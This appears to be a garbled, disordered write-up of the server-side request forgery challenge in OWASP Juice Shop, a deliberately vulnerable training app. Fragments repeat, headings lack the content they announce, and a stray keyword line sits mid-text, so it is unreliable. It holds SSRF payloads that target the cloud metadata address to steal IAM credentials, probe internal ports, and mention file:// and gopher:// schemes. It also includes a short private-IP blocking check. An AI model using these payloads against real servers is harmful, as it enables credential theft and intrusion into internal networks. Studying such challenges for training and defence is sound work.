curl -X POST https://juice-shop.local/api/image/uploads \ -H "Content-Type: application/json" \ -d '"url": "http://localhost:3000/this/file/does/not/exist"' Because the server makes the request, the error response might reveal internal paths, but the actual flag is obtained by pointing to:
POST /api/ImageUploads
Or more classically: The functionality, where you provide a URL to an image of your broken juice. The server tries to fetch that image to validate it. The Vulnerability: Unvalidated URL Fetching Let's look at the pseudo-code of the vulnerable endpoint:
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" This would return the server's temporary AWS keys. Using the gopher:// protocol (if enabled in the request library or http module): juice shop ssrf
const dns = require('dns').promises; const ip = await dns.lookup(urlObj.hostname); if (isPrivateIP(ip.address)) throw new Error('Blocked'); The SSRF vulnerability in OWASP Juice Shop is small but elegant. It demonstrates a single line of missing validation leading to a complete breach of network segmentation. For penetration testers, mastering SSRF means understanding that the server is just another user—one with far more privileges.
"url": "http://10.0.0.1:22" A fast "Connection refused" means port closed. A timeout or slow response means open. If the request library supports file:// : The server tries to fetch that image to validate it
